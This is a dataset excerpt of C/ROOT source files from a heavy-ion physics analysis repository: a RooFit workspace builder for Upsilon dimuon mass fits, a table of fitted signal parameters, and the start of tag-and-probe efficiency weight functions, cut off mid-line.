"alphanum_fraction": 0.6808283925056458, "avg_line_length": 63.3725471496582, "blob_id": "2a377d248f616b3e8ebfdca6a71cb01790782848", "content_id": "ab6ba0597c95204af367085d7245f73ce751efd6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6567, "license_type": "no_license", "max_line_length": 465, "num_lines": 102, "path": "/fitting/makeWorkspace.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "\nvoid makeWorkspace(RooWorkspace& ws, int ChooseSample,float muonEtaMin, float muonEtaMax, float muonPtMin, float muonPtMax, float upsRapMin, float upsRapMax, float upsPtMin,float upsPtMax, int upsCentralityStart, int upsCentralityEnd ){\n double mass_l = 7.0;\n double mass_h = 14.0;\n \n cout<< \"You're in makeWorkspace!\" << endl;\n std::string finput;\n switch (ChooseSample) \n {\n case 1: // pp @ 7TeV - dimuon0-v1\n finput = \"../dimuonTree_upsiMiniTree_pp7tev_dimu0v1_Runa_trigBit1_allTriggers0_pt4.root\";\n mass_l = 8.5;\n mass_h = 11.5;\n binw=0.05;\n break;\n case 2://pp @ 7TeV - non dimuon0-v1 (GG)\n finput = \"../dimuonTree_upsiMiniTree_pp7tev_glbglb_Runa_trigBit1_allTriggers0_pt4.root\";\n mass_l = 8.5;\n mass_h = 11.5;\n binw=0.05;\n break;\n case 3://PbPb @ 2.76TeV pp reco trk-trk\n // finput = \"../dimuonTree_upsiMiniTree_aa276tev_50100ppreco__Runa_trigBit1_allTriggers0_pt4.root\";\n // break;\n finput = \"../dimuonTree_upsiMiniTree_aa276tevC50100_ppofficial_trktrk_ptmu4_Runa_trigBit1_allTriggers0.root\";\n break;\n case 4://PbPb @ 2.76TeV pp reco glbglb\n finput = \"../dimuonTree_upsiMiniTree_aa276tev_50100ppreco_glbglb_Runa_trigBit1_allTriggers0_pt4.root\";\n break;\n case 5://PbPb @ 2.76TeV Zhen's tree glbglb\n //finput = \"../dimuonTree_upsiMiniTree_AA276tevC0100_regit_ptmu4_Run210498-211631_trigBit1_allTriggers0.root\";\n finput = \"../dimuonTree_HI2011_fulldataset_trkRot.root\";\n break;\n case 6://PbPb @ 2.76TeV regit\n gROOT->LoadMacro(\"bkgTable_PbPb.h\");\n if(muonPtMin<3.7){ gROOT->LoadMacro(\"bkgTable_PbPb_loose.h\");}\n if(muonPtMin>3.7){ gROOT->LoadMacro(\"bkgTable_PbPb_tight.h\");}\n // finput = \"../dimuonTree_upsiMiniTree_aa276tev_regitreco_glbglb_Runa_trigBit1_allTriggers0_pt4.root\"; // cent 0-40 \"cm\" but doesnt have all the muons!\n // finput = \"../dimuonTree_upsiMiniTree_AA2p76tev_ptmu3_july09_Run2011-2011_trigBit1_allTriggers0.root\";// cent0-40 \"td\"\n // finput = \"../dimuonTree_upsiMiniTree_AA276tevC0100_regit_ptmu4_Run210498-211631_trigBit1_allTriggers0.root\"; // cent0-40 \"nf\"\n finput = \"../dimuonTree_upsiMiniTree_AA2p76tev_ptmuSpecial_nov25_2013_trigBit1_allTriggers1_testNoCut.root\"; // no cuts , so it has all the muons.\n // finput = \"../dimuonTree_upsiMiniTree_AA2p76tev_WithIDCuts_RunHIN-15-001_trigBit1_allTriggers0.root\";//bold as can be : my tree!\n break;\n case 7://pp @ 2.76TeV\n gROOT->LoadMacro(\"bkgTable_pp.h\");\n if(muonPtMin<3.7){ gROOT->LoadMacro(\"bkgTable_pp_loose.h\");}\n if(muonPtMin>3.7){ gROOT->LoadMacro(\"bkgTable_pp_tight.h\");}\n // finput = \"../dimuonTree_upsiMiniTree_pp276tev_5p41_Run211739-211831_trigBit1_allTriggers0_pt4.root\"; //trk muons!\n // finput = \"../dimuonTree_upsiMiniTree_pp276tev_5p41_ptmu2_Run211739-211831_GlbGlb_trigBit1_allTriggers0.root\"; // Glb muons, all above 2!\n ///finput = \"../upsiMiniTree_ppData_QQtrigbit1_Trig_analysisOK_noSingleMu.root\"; // new tree (2014, I did it...and there are nore events !?)\n \n \t//finput = \"../dimuonTree_upsiMiniTree_pp276tev_5p41_ptmu2_Run211739-211831_GlbGlb_trigBit1_allTriggers0.root\";} // Glb muons, all above 2 GeV, HLT_PAL1DoubleMuOpen\n \t//finput = \"../dimuonTree_upsiMiniTree_pp276tev_5p41_ptmu3_Run211739-211831_trigBit2_allTriggers0_testNoCut.root\"; }// HLT_PAL1DoubleMu0HighQ triggered events\n //finput = \"../upsiMiniTree_ppData_GLBGLB_QQtrigbit2_Trig_analysisOK_20140729_cuts10-006.root\"; //HLT_PAL1DoubleMu0_HighQ triggered events AND GlbGlb muons pairs matched to it!\n \tfinput =\"../dimuonTree_upsiMiniTree_pp2p76tev_noIDVars_GlbGlb_RunHIN-15-001_trigBit2_allTriggers0.root\";\n // if(isPA) { finput = \"../dimuonTree_upsiMiniTree_pA5tev_18p4nb__Run210498-211256_trigBit1_allTriggers0_pt4.root\";} //// pPb\n break;\n case 8:\n // finput = \"../upsiMiniTree_pythia1S_QQtrigbit1_Trig_analysisOK_20140729_cuts10-006.root\";\n finput = \"~/Project/ups2013/upsiMiniTree_Pyquen1S_QQtrigbit1_Trig_Unfolding_postCut_deltaRmatched_withCentrality.root\";\n mass_l = 8.;\n mass_h = 10.5;\n binw=0.05;\n break;\n case 9:\n gROOT->LoadMacro(\"bkgTable_pp.h\");\n finput = \"../dimuonTree_upsiMiniTree_pA5tev_18p4nb__Run210498-211256_trigBit1_allTriggers0_pt4.root\";\n isPA=true;\n break;\n default:\n cout<<\"You don't know what you are doing! Pick one of the available datasets in the choseSampleCases[] array\"<<endl;\n break;\n }\n cout << finput << endl;\n // TFile f(finput,\"read\");\n TFile *f = new TFile(finput.c_str());\n TTree* theTree = (TTree*)gROOT->FindObject(\"UpsilonTree\"); // OS --- all mass\n // //RooWorkspace* ws = new RooWorkspace(\"ws\",\"Upsilon Mass Fitting\");\n //ws.var(\"invariantMass\");\t\n RooRealVar* mass = new RooRealVar(\"invariantMass\",\"#mu#mu mass\",mass_l,mass_h,\"GeV/c^{2}\");\t\n // ws.import(*mass);\n RooRealVar* upsPt = new RooRealVar(\"upsPt\",\"p_{T}(#Upsilon)\",0,60,\"GeV/c\");\n RooRealVar* upsRapidity= new RooRealVar(\"upsRapidity\", \"upsRapidity\",-2.4, 2.4);\n RooRealVar* vProb = new RooRealVar(\"vProb\", \"vProb\" ,0.01,1.00);\n RooRealVar* QQsign = new RooRealVar(\"QQsign\", \"QQsign\" ,-1,5);\n RooRealVar* Centrality = new RooRealVar(\"Centrality\",\"Centrality\",0,100);\n RooRealVar* muPlusPt = new RooRealVar(\"muPlusPt\",\"muPlusPt\",muonPtMin,1000);\n RooRealVar* muMinusPt = new RooRealVar(\"muMinusPt\",\"muMinusPt\",muonPtMin,1000);\n RooRealVar* muPlusEta = new RooRealVar(\"muPlusEta\",\"muPlusEta\", muonEtaMin,muonEtaMax);\n RooRealVar* muMinusEta = new RooRealVar(\"muMinusEta\",\"muMinusEta\",muonEtaMin,muonEtaMax);\n RooDataSet* data0, *data;\n RooArgSet cols(*mass,*upsPt,*upsRapidity,*Centrality,*muPlusPt,*muMinusPt,*muPlusEta,*muMinusEta);\n data0 = new RooDataSet(\"data\",\"data\",theTree,cols); \n data0->Print();\n // // }\n // //data = ( RooDataSet*) data0->reduce(EventRange(0,100000));//,Cut(\"invariantMass<11\"));\n TString cut_ap(Form(\"(%d<=Centrality && Centrality<%d) && (%.2f<muPlusEta && muPlusEta < %.2f) && (%.2f<muMinusEta && muMinusEta < %.2f) && (%.2f<upsPt && upsPt<%.2f) &&(abs(upsRapidity)>%.2f && abs(upsRapidity)<%.2f) &&((muPlusPt > %.2f && muMinusPt > %.2f) || (muPlusPt > %.2f && muMinusPt > %.2f))\",upsCentralityStart,upsCentralityEnd,muonEtaMin,muonEtaMax,muonEtaMin,muonEtaMax,upsPtMin,upsPtMax,upsRapMin,upsRapMax,muonPtMin,muonPtMax,muonPtMax,muonPtMin));\n cout << cut_ap << endl;\n data = ( RooDataSet*) data0->reduce(Cut(cut_ap));\n ws.import(*data);\n data->Print();\n f->Close();\n}\n" }, { "alpha_fraction": 0.2552034854888916, "alphanum_fraction": 0.6031376123428345, "avg_line_length": 55.46491241455078, "blob_id": "dd8f1330aef883964df324c138db2b9d57c73471", "content_id": "46ea30383b7dac85cd931b3937f19f8840f2dc5f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6438, "license_type": "no_license", "max_line_length": 126, "num_lines": 114, "path": "/fitting/dataTable_tight.h", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#define ptBinsDone 10\n#define rapBinsDone 9\n\ndouble ptBinEdgeMin[ptBinsDone]={0,2.5,5,8,12,20,0,6.5,10,0};\ndouble ptBinsEdgeMax[ptBinsDone]={2.5,5,8,12,20,50,6.5,10,20,50};\n\ndouble rapBinEdgeMin[rapBinsDone]={0,0.4,0.8,1.2,1.6,2.0,0.,1.2,0.};\ndouble rapBinsEdgeMax[rapBinsDone]={0.4,0.8,1.2,1.6,2.0,2.4,1.2,2.4,2.4};\n\n/* double alpha_data_cent[14] = {1.56,1.56,1.56,1.56,1.56,1.56,1.56,1.56,1.56,1.56,1.56,1.56,1.56,1.56}; */\n/* double npow_data_cent[14]={4.65,4.65,4.65,4.65,4.65,4.65,4.65,4.65,4.65,4.65,4.65,4.65,4.65,4.65}; */\n/* double sigma1_data_cent[14]={0.065,0.065,0.065,0.065,0.065,0.065,0.065,0.065,0.065,0.065,0.065,0.065,0.065,0.065}; */\n/* double scale_data_cent[14]={1.84,1.84,1.84,1.84,1.84,1.84,1.84,1.84,1.84,1.84,1.84,1.84,1.84,1.84}; */\n/* double pdFrac_data_cent[14]={0.582,0.582,0.582,0.582,0.582,0.582,0.582,0.582,0.582,0.582,0.582,0.582,0.582,0.582}; */\n\n\n// signal parameters from MC\n\n//pt bins\n/* double alpha_ptBins[ptBinsDone]={1.32,1.31,1.19,1.41,1.16,1.23,1.28,1.25,1.60,1.65}; */\n/* double sigma1_ptBins[ptBinsDone]={0.065,0.065,0.069,0.067,0.068,0.066,0.066,0.066,0.070,0.067}; */\n/* double scale_ptBins[ptBinsDone]={1.76,1.79,1.74,1.66,1.82,1.85,1.83,1.86,1.58,1.85}; */\n/* double npow_ptBins[ptBinsDone]={11.87,17.39,28.63,21.35,40.29,26.90,28.31,25.04,3.09,2.45}; */\n/* double pdFrac_ptBins[ptBinsDone]={0.55,0.56,0.65,0.54,0.66,0.56,0.62,0.63,0.57,0.60}; */\n\n/* for tight muons ---- */\ndouble npow_ptBins[ptBinsDone] = {7.99742,8.21716,33.4837,6.08413,3.25248,3.09764,6.12404,2.71926,3.87982};\ndouble alpha_ptBins[ptBinsDone]={1.49136,1.38054,1.24598,1.292,1.37332,1.62119,1.40955,1.65807,1.54629};\ndouble sigma1_ptBins[ptBinsDone]={0.0662822,0.0658946,0.0675937,0.0648447,0.0544457,0.0666369,0.0658452,0.0684712,0.0660578};\ndouble scale_ptBins[ptBinsDone]={1.80818,1.78552,1.84594,1.78349,1.79412,1.8322,1.81121,1.84833,1.87149};\ndouble pdFrac_ptBins[ptBinsDone]={0.59622,0.587062,0.638873,0.58302,0.284746,0.526318,0.596058,0.640236,0.611476};\n\n/* //rap bins */\n/* double alpha_rapBins[rapBinsDone]={1.33,1.89,1.63,1.72,1.93,1.40,1.32,1.66,1.65}; */\n/* double sigma1_rapBins[rapBinsDone]={0.044,0.069,0.0769,0.087,0.127,0.144,0.055,0.102,0.067}; */\n/* double scale_rapBins[rapBinsDone]={1.472,2.16,1.41,1.49,2.03,1.22,1.66,1.51,1.85}; */\n/* double npow_rapBins[rapBinsDone]={7.43,1.44,3.048,8.799,2.51,36.89,13.44,11.87,2.45}; */\n/* double pdFrac_rapBins[rapBinsDone]={0.44,0.96,0.56,0.51,0.99,0.69,0.58,0.65,0.60}; */\n//for tight muons ----\ndouble npow_rapBins[rapBinsDone] = {3.91714,1.14248,13.717,2.5633,2.31458,26.8843,4.33494,24.7037,3.87982};\ndouble alpha_rapBins[rapBinsDone]={1.45357,2.04277,1.29262,1.71256,1.86699,1.49638,1.54253,1.5762,1.54629};\ndouble sigma1_rapBins[rapBinsDone]={0.0485193,0.0617833,0.0802824,0.09259,0.127959,0.143151,0.0543828,0.0966265,0.0660578};\ndouble scale_rapBins[rapBinsDone]={1.59983,1.50193,1.66172,1.26853,1,1.28486,1.66269,1.48906,1.87149};\ndouble pdFrac_rapBins[rapBinsDone]={0.742197,0.694313,0.842165,0.457664,0.11248,0.696893,0.517559,0.513243,0.611476};\n\n/* double alpha_MB3p5=1.65; */\n/* double npow_MB3p5=2.45; */\n/* double sigma1_MB3p5=0.067; */\n/* double scale_MB3p5=1.85; */\n/* double pdFrac_MB3p5=0.60; */\n\n/* double alpha_MB4=1.55; */\n/* double npow_MB4=4.65; */\n/* double sigma1_MB4=0.065; */\n/* double scale_MB4=1.83; */\n/* double pdFrac_MB4=0.58; */\n\n/* Bin & n$_{CB}$ & $\\alpha_{CB}$ & $\\sigma_{1}$(MeV) & $x$ (scale) & $f$ (norm) \\\\ */\n/* \\hline */\n/* 11.8655 & 1.32273 & 0.0651892 & 1.76617 & 0.552857 \\\\ */\n/* 17.3908 & 1.31288 & 0.0654127 & 1.79801 & 0.56282 \\\\ */\n/* 28.6303 & 1.19791 & 0.0691783 & 1.74751 & 0.655152 \\\\ */\n/* 21.3489 & 1.4183 & 0.0675906 & 1.66454 & 0.541865 \\\\ */\n/* 40.2866 & 1.16514 & 0.0679808 & 1.82434 & 0.661521 \\\\ */\n\n/* 26.9085 & 1.23173 & 0.0663134 & 1.85312 & 0.561308 \\\\ */\n\n/* 28.3087 & 1.28079 & 0.0662253 & 1.8338 & 0.619117\\\\ */\n/* 25.0396 & 1.25749 & 0.0664975 & 1.86022 & 0.637619 \\\\ */\n/* 3.09223 & 1.60523 & 0.0706083 & 1.58852 & 0.57504 \\\\ */\n\n/* pt3p5 2.4522 & 1.65063 & 0.0670203 & 1.8546 & 0.603875 \\\\ */\n/* -------------------------------------------------------------------- */\n/* 7.43317 & 1.33941 & 0.044515 & 1.47231 & 0.448933 \\\\ */\n/* 1.44959 & 1.89549 & 0.0694212 & 2.16025 & 0.964385 \\\\ */\n/* 3.04847 & 1.6317 & 0.0769274 & 1.41065 & 0.559068 \\\\ */\n/* 8.79913 & 1.72586 & 0.0871425 & 1.49667 & 0.512059 \\\\ */\n/* 2.51221 & 1.93032 & 0.127293 & 2.03325 & 0.991352 \\\\ */\n/* 36.8961 & 1.4088 & 0.144839 & 1.22359 & 0.69829 \\\\ */\n \n/* 13.4437 & 1.3236 & 0.0556029 & 1.66244 & 0.57749 \\\\ */\n/* 11.8737 & 1.66783 & 0.102053 & 1.51504 & 0.647893 \\\\ */\n\n/* pt4 4.65145 & 1.55936 & 0.0655685 & 1.83726 & 0.582259 \\\\ */\n \n\t\t //pt mass dep\ndouble massPtFits[5]={9.45567,9.45811,9.45549,9.45426,9.45679};//first bins\ndouble massPtFitse[5]={0.0006,0.0006,0.00060,0.00045,0.00038};//error\ndouble massRapFits[6]={9.45896,9.4578,9.45442,9.4480,9.44186,9.4386};//first bins\ndouble massRapFitse[6]={0.00025,0.00030,0.00041,0.00052,0.00073,0.0019};//error\n//errors on MC pars, vs pt\ndouble sigma1_ptBinse[5]={0.0013,0.0014,0.0013,0.00098,0.00086};\ndouble alpha_ptBinse[5]={0.056,0.060,0.074,0.050,0.048};\ndouble scale_ptBinse[5]={0.03,0.0014,0.0013,0.024,0.021};\ndouble pdFrac_ptBinse[5]={0.027,0.028,0.027,0.022,0.019};\ndouble npow_ptBinse[5]={2.2,1.6,0.76,0.37,0.33};\n//errors on MC pars, vs rap\ndouble sigma1_rapBinse[6]={0.00053,0.00072,0.0015,0.0022,0.005,0.015};\ndouble alpha_rapBinse[6]={0.035,0.041,0.050,0.068,0.14,0.37};\ndouble scale_rapBinse[6]={0.046,0.051,0.052,0.096,0.10,0.079};\ndouble pdFrac_rapBinse[6]={0.018,0.024,0.050,0.061,0.14,0.23};\ndouble npow_rapBinse[6]={0.075,0.11,0.26,0.58,1.1,3.};//wow\n /* //pt bins */\n /* double sigma1_ptBins[ptBinsDone]={}; */\n /* douu\n /* double npow_ptBins[ptBinsDone]={}; */\n /* double alpha_ptBins[ptBinsDone]={}; */\n /* double pdFrac_ptBins[ptBinsDone]={}; */\n /* //rap bins */\n /* double sigma1_rapBins[rapBinsDone]={}; */\n /* double scale_rapBins[rapBinsDone]={}; */\n /* double npow_rapBins[rapBinsDone]={}; */\n /* double alpha_rapBins[rapBinsDone]={}; */\n /* double pdFrac_ptBins[rapBinsDone]={}; */\n\n" }, { "alpha_fraction": 0.2947271168231964, "alphanum_fraction": 0.5243531465530396, "avg_line_length": 66.38461303710938, "blob_id": "96e7f2640b4a692a490c717b8c2b005efc7ef0f3", "content_id": "3086607b996ac5f6165ff8dbc6306620a576488a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 91980, "license_type": "no_license", "max_line_length": 94, "num_lines": 1365, "path": "/acceptance_efficiency/tnp_weight.h", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#ifndef tnp_weight_h\n#define tnp_weight_h\n\n#include \"TMath.h\"\n\n// IN THIS FILE YOU WILL FIND:\n// ---------------------------\n//\n// - MuIdTrg:\n// * idx = 1..100: toy variations, stat. only\n// * idx = -1: syst variation, \"new_MAX\", +1 sigma\n// * idx = -2: syst variation, \"new_MAX\", -1 sigma\n// - STA:\n// * central values are identical in pp and pbpb\n// * idx = 1..100, pp: toy variations, stat. only\n// * idx = 1..100, pbpb: toy variations from pp, stat increased by 4% everywhere in each toy\n// * idx = -1: syst variation, \"new_MAX\", +1 sigma\n// * idx = -2: syst variation, \"new_MAX\", -1 sigma\n\n/////////////////////////////////////////////////////////////\n// M U I D + T R G P b P b //\n/////////////////////////////////////////////////////////////\ndouble tnp_weight_muidtrg_pbpb(double x, double eta, int idx)\n{\n // denominator (from MC)\n double den=1;\n if (fabs(eta)<0.9) den = 0.9724*TMath::Erf((x-0.4114)/3.3775);\n else if (fabs(eta)<1.6) den = 0.9502*TMath::Erf((x-1.3857)/2.0757);\n else if (fabs(eta)<2.1) den = 0.8971*TMath::Erf((x-1.0984)/2.3510);\n else den = 0.7763*TMath::Erf((x-0.8419)/1.6742);\n\n // numerator (from data)\n double num=1;\n\n if (fabs(eta)<0.9)\n {\n if (idx==0) num = 0.9646*TMath::Erf((x-0.1260)/3.5155);\n else if (idx == -1 ) num = 0.9689*TMath::Erf((x-0.2792)/3.3611);\n else if (idx == -2 ) num = 0.9603*TMath::Erf((x-0.0062)/3.6371);\n else if (idx == 1 ) num = 0.9580*TMath::Erf((x-0.0001)/3.3987);\n else if (idx == 2 ) num = 0.9700*TMath::Erf((x-0.0001)/3.8239);\n else if (idx == 3 ) num = 0.9584*TMath::Erf((x-0.0010)/3.5980);\n else if (idx == 4 ) num = 0.9586*TMath::Erf((x-0.0001)/3.6194);\n else if (idx == 5 ) num = 0.9677*TMath::Erf((x-0.4618)/3.3114);\n else if (idx == 6 ) num = 0.9532*TMath::Erf((x-0.0032)/3.5537);\n else if (idx == 7 ) num = 0.9552*TMath::Erf((x-0.4666)/3.2115);\n else if (idx == 8 ) num = 0.9699*TMath::Erf((x-0.4640)/3.1621);\n else if (idx == 9 ) num = 0.9632*TMath::Erf((x-0.0075)/3.5914);\n else if (idx == 10 ) num = 0.9661*TMath::Erf((x-0.0000)/3.6240);\n else if (idx == 11 ) num = 0.9655*TMath::Erf((x-0.0555)/3.5126);\n else if (idx == 12 ) num = 0.9512*TMath::Erf((x-0.0018)/3.5403);\n else if (idx == 13 ) num = 0.9637*TMath::Erf((x-0.4283)/3.3204);\n else if (idx == 14 ) num = 0.9714*TMath::Erf((x-0.0028)/3.5921);\n else if (idx == 15 ) num = 0.9606*TMath::Erf((x-0.0079)/3.5818);\n else if (idx == 16 ) num = 0.9762*TMath::Erf((x-0.0001)/3.7796);\n else if (idx == 17 ) num = 0.9726*TMath::Erf((x-0.2160)/3.5547);\n else if (idx == 18 ) num = 0.9620*TMath::Erf((x-0.0001)/3.3431);\n else if (idx == 19 ) num = 0.9628*TMath::Erf((x-0.0025)/3.6435);\n else if (idx == 20 ) num = 0.9636*TMath::Erf((x-0.0343)/3.5076);\n else if (idx == 21 ) num = 0.9579*TMath::Erf((x-0.0021)/3.5104);\n else if (idx == 22 ) num = 0.9659*TMath::Erf((x-0.3535)/3.4405);\n else if (idx == 23 ) num = 0.9636*TMath::Erf((x-0.0000)/3.5128);\n else if (idx == 24 ) num = 0.9679*TMath::Erf((x-0.0001)/3.5950);\n else if (idx == 25 ) num = 0.9781*TMath::Erf((x-0.1624)/3.5441);\n else if (idx == 26 ) num = 0.9661*TMath::Erf((x-0.1073)/3.4927);\n else if (idx == 27 ) num = 0.9668*TMath::Erf((x-0.0008)/3.7302);\n else if (idx == 28 ) num = 0.9689*TMath::Erf((x-0.0148)/3.6462);\n else if (idx == 29 ) num = 0.9546*TMath::Erf((x-0.0001)/3.5153);\n else if (idx == 30 ) num = 0.9697*TMath::Erf((x-0.4878)/3.3219);\n else if (idx == 31 ) num = 0.9665*TMath::Erf((x-0.0047)/3.5859);\n else if (idx == 32 ) num = 0.9577*TMath::Erf((x-0.0023)/3.5728);\n else if (idx == 33 ) num = 0.9637*TMath::Erf((x-1.1384)/2.6215);\n else if (idx == 34 ) num = 0.9681*TMath::Erf((x-0.0000)/3.6458);\n else if (idx == 35 ) num = 0.9586*TMath::Erf((x-0.6170)/2.9608);\n else if (idx == 36 ) num = 0.9592*TMath::Erf((x-0.0356)/3.5520);\n else if (idx == 37 ) num = 0.9728*TMath::Erf((x-0.4801)/3.3046);\n else if (idx == 38 ) num = 0.9687*TMath::Erf((x-0.0048)/3.5840);\n else if (idx == 39 ) num = 0.9665*TMath::Erf((x-0.0031)/3.7074);\n else if (idx == 40 ) num = 0.9692*TMath::Erf((x-0.4004)/3.3315);\n else if (idx == 41 ) num = 0.9621*TMath::Erf((x-0.0010)/3.6909);\n else if (idx == 42 ) num = 0.9640*TMath::Erf((x-0.1493)/3.5289);\n else if (idx == 43 ) num = 0.9550*TMath::Erf((x-1.1878)/2.5480);\n else if (idx == 44 ) num = 0.9621*TMath::Erf((x-0.1472)/3.4247);\n else if (idx == 45 ) num = 0.9575*TMath::Erf((x-1.1371)/2.5032);\n else if (idx == 46 ) num = 0.9625*TMath::Erf((x-0.0021)/3.5871);\n else if (idx == 47 ) num = 0.9600*TMath::Erf((x-0.0000)/3.6078);\n else if (idx == 48 ) num = 0.9666*TMath::Erf((x-0.0697)/3.4470);\n else if (idx == 49 ) num = 0.9559*TMath::Erf((x-0.0080)/3.6261);\n else if (idx == 50 ) num = 0.9640*TMath::Erf((x-0.0007)/3.6154);\n else if (idx == 51 ) num = 0.9648*TMath::Erf((x-0.0000)/3.6528);\n else if (idx == 52 ) num = 0.9631*TMath::Erf((x-0.1540)/3.3775);\n else if (idx == 53 ) num = 0.9524*TMath::Erf((x-1.1822)/2.5716);\n else if (idx == 54 ) num = 0.9669*TMath::Erf((x-0.7193)/2.9984);\n else if (idx == 55 ) num = 0.9611*TMath::Erf((x-0.0020)/3.5976);\n else if (idx == 56 ) num = 0.9628*TMath::Erf((x-0.0049)/3.5352);\n else if (idx == 57 ) num = 0.9722*TMath::Erf((x-0.0000)/3.7260);\n else if (idx == 58 ) num = 0.9605*TMath::Erf((x-0.1179)/3.5161);\n else if (idx == 59 ) num = 0.9661*TMath::Erf((x-0.0001)/3.6233);\n else if (idx == 60 ) num = 0.9631*TMath::Erf((x-0.8113)/2.8734);\n else if (idx == 61 ) num = 0.9688*TMath::Erf((x-0.3675)/3.3700);\n else if (idx == 62 ) num = 0.9590*TMath::Erf((x-1.0540)/2.6185);\n else if (idx == 63 ) num = 0.9699*TMath::Erf((x-0.5861)/3.2081);\n else if (idx == 64 ) num = 0.9648*TMath::Erf((x-0.0587)/3.5212);\n else if (idx == 65 ) num = 0.9589*TMath::Erf((x-1.4212)/2.3152);\n else if (idx == 66 ) num = 0.9567*TMath::Erf((x-1.2436)/2.5294);\n else if (idx == 67 ) num = 0.9669*TMath::Erf((x-0.5060)/3.2238);\n else if (idx == 68 ) num = 0.9653*TMath::Erf((x-0.7611)/2.9642);\n else if (idx == 69 ) num = 0.9499*TMath::Erf((x-1.5697)/2.1802);\n else if (idx == 70 ) num = 0.9536*TMath::Erf((x-0.0007)/3.5021);\n else if (idx == 71 ) num = 0.9579*TMath::Erf((x-0.0001)/3.4084);\n else if (idx == 72 ) num = 0.9646*TMath::Erf((x-0.2299)/3.4096);\n else if (idx == 73 ) num = 0.9643*TMath::Erf((x-0.7476)/2.9606);\n else if (idx == 74 ) num = 0.9678*TMath::Erf((x-0.0091)/3.7134);\n else if (idx == 75 ) num = 0.9707*TMath::Erf((x-0.0002)/3.6366);\n else if (idx == 76 ) num = 0.9623*TMath::Erf((x-0.0000)/3.5325);\n else if (idx == 77 ) num = 0.9579*TMath::Erf((x-1.3155)/2.3733);\n else if (idx == 78 ) num = 0.9621*TMath::Erf((x-0.0132)/3.6240);\n else if (idx == 79 ) num = 0.9656*TMath::Erf((x-0.0631)/3.5508);\n else if (idx == 80 ) num = 0.9594*TMath::Erf((x-0.0977)/3.5039);\n else if (idx == 81 ) num = 0.9608*TMath::Erf((x-0.1607)/3.4106);\n else if (idx == 82 ) num = 0.9648*TMath::Erf((x-0.0007)/3.5032);\n else if (idx == 83 ) num = 0.9609*TMath::Erf((x-0.0015)/3.5921);\n else if (idx == 84 ) num = 0.9590*TMath::Erf((x-0.0270)/3.5173);\n else if (idx == 85 ) num = 0.9472*TMath::Erf((x-1.5578)/2.0177);\n else if (idx == 86 ) num = 0.9620*TMath::Erf((x-0.3578)/3.2582);\n else if (idx == 87 ) num = 0.9652*TMath::Erf((x-0.0517)/3.6790);\n else if (idx == 88 ) num = 0.9622*TMath::Erf((x-0.0043)/3.6722);\n else if (idx == 89 ) num = 0.9581*TMath::Erf((x-0.0000)/3.4619);\n else if (idx == 90 ) num = 0.9659*TMath::Erf((x-0.0148)/3.5563);\n else if (idx == 91 ) num = 0.9607*TMath::Erf((x-1.4799)/2.3074);\n else if (idx == 92 ) num = 0.9635*TMath::Erf((x-0.3932)/3.2461);\n else if (idx == 93 ) num = 0.9648*TMath::Erf((x-0.9900)/2.7390);\n else if (idx == 94 ) num = 0.9574*TMath::Erf((x-0.0075)/3.6679);\n else if (idx == 95 ) num = 0.9603*TMath::Erf((x-0.5632)/3.1398);\n else if (idx == 96 ) num = 0.9586*TMath::Erf((x-0.4193)/3.2136);\n else if (idx == 97 ) num = 0.9695*TMath::Erf((x-0.0000)/3.8195);\n else if (idx == 98 ) num = 0.9589*TMath::Erf((x-0.0020)/3.6145);\n else if (idx == 99 ) num = 0.9628*TMath::Erf((x-0.2956)/3.2855);\n else if (idx == 100 ) num = 0.9673*TMath::Erf((x-0.4306)/3.3085);\n }\n else if (fabs(eta)<1.6)\n {\n if (idx==0) num = 0.9725*TMath::Erf((x-1.0054)/2.3187);\n else if (idx == -1 ) num = 0.9747*TMath::Erf((x-0.8107)/2.4694);\n else if (idx == -2 ) num = 0.9698*TMath::Erf((x-1.1745)/2.1832);\n else if (idx==1 ) num = 0.9664*TMath::Erf((x-1.3309)/1.9451);\n else if (idx==2 ) num = 0.9632*TMath::Erf((x-1.3290)/1.9513);\n else if (idx==3 ) num = 0.9678*TMath::Erf((x-1.0148)/2.3376);\n else if (idx==4 ) num = 0.9848*TMath::Erf((x-0.9444)/2.3932);\n else if (idx==5 ) num = 0.9646*TMath::Erf((x-1.3502)/1.8603);\n else if (idx==6 ) num = 0.9765*TMath::Erf((x-0.9802)/2.2845);\n else if (idx==7 ) num = 0.9862*TMath::Erf((x-0.5519)/2.9480);\n else if (idx==8 ) num = 0.9588*TMath::Erf((x-1.3311)/1.9312);\n else if (idx==9 ) num = 0.9557*TMath::Erf((x-1.3483)/1.8008);\n else if (idx==10 ) num = 0.9711*TMath::Erf((x-1.3174)/1.9481);\n else if (idx==11 ) num = 0.9834*TMath::Erf((x-0.7039)/2.7280);\n else if (idx==12 ) num = 0.9727*TMath::Erf((x-1.0827)/2.2481);\n else if (idx==13 ) num = 0.9650*TMath::Erf((x-1.3450)/1.8623);\n else if (idx==14 ) num = 0.9626*TMath::Erf((x-1.0382)/2.2124);\n else if (idx==15 ) num = 0.9799*TMath::Erf((x-0.4489)/2.8839);\n else if (idx==16 ) num = 0.9967*TMath::Erf((x-0.0000)/3.5322);\n else if (idx==17 ) num = 0.9694*TMath::Erf((x-1.1527)/2.1037);\n else if (idx==18 ) num = 0.9679*TMath::Erf((x-0.8587)/2.4470);\n else if (idx==19 ) num = 0.9581*TMath::Erf((x-1.2331)/1.9368);\n else if (idx==20 ) num = 0.9735*TMath::Erf((x-0.6093)/2.7565);\n else if (idx==21 ) num = 0.9707*TMath::Erf((x-0.9561)/2.3765);\n else if (idx==22 ) num = 0.9710*TMath::Erf((x-1.4346)/1.9103);\n else if (idx==23 ) num = 0.9739*TMath::Erf((x-0.7883)/2.5295);\n else if (idx==24 ) num = 0.9584*TMath::Erf((x-1.0871)/2.2088);\n else if (idx==25 ) num = 0.9683*TMath::Erf((x-1.1529)/2.1280);\n else if (idx==26 ) num = 0.9696*TMath::Erf((x-1.3294)/2.0530);\n else if (idx==27 ) num = 0.9631*TMath::Erf((x-1.3926)/1.9192);\n else if (idx==28 ) num = 0.9743*TMath::Erf((x-0.8310)/2.4924);\n else if (idx==29 ) num = 0.9724*TMath::Erf((x-0.9429)/2.3947);\n else if (idx==30 ) num = 